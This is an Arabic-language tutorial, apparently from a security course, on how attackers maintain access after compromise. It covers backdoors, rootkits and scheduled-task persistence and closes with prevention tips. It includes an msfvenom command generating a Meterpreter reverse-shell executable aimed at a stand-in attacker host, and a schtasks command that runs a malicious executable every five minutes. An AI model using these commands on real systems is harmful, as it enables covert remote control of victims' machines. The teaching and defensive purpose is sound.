مرحبًا بكم في الحفاظ على الوصول

بعد الحصول على الوصول إلى النظام، يحاول المهاجمون الحفاظ على السيطرة باستخدام تقنيات متنوعة.

ما الحفاظ على الوصول؟

يشير إلى التقنيات المستخدمة لضمان استمرار السيطرة على نظام مخترق.

طرق شائعة للحفاظ على الوصول

• الأبواب الخلفية
• Rootkits
• الملفات التنفيذية المحقونة ببرمجيات حصان طروادة
• برامج نصية للاستمرارية

استخدام الأبواب الخلفية

توفر الأبواب الخلفية للمهاجمين نقطة دخول مخفية إلى النظام.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > backdoor.exe

Rootkits

تعدّل Rootkits ملفات النظام لإخفاء النشاط الضار.

الاستمرارية باستخدام المهام المجدولة

يستخدم المهاجمون المهام المجدولة لتنفيذ البرامج الضارة تلقائيًا.

schtasks /create /tn backdoor /tr C:\malicious.exe /sc minute /mo 5

أدوات شائعة للحفاظ على الوصول

• Metasploit - الأبواب الخلفية والاستمرارية.
• Netcat - الصدَفات العكسية.
• HiddenVNC - التحكم عن بُعد في الأجهزة المخترقة.

كيفية منع الاستمرارية

• راقب المهام المجدولة.
• استخدم أدوات مكافحة Rootkits.
• دقّق في سجلات النظام بانتظام.
• قيّد الوصول الإداري.

الملخص

يتضمن الحفاظ على الوصول استخدام الأبواب الخلفية وRootkits وتقنيات الاستمرارية. وتساعد التدابير الأمنية على اكتشاف التهديدات وإزالتها.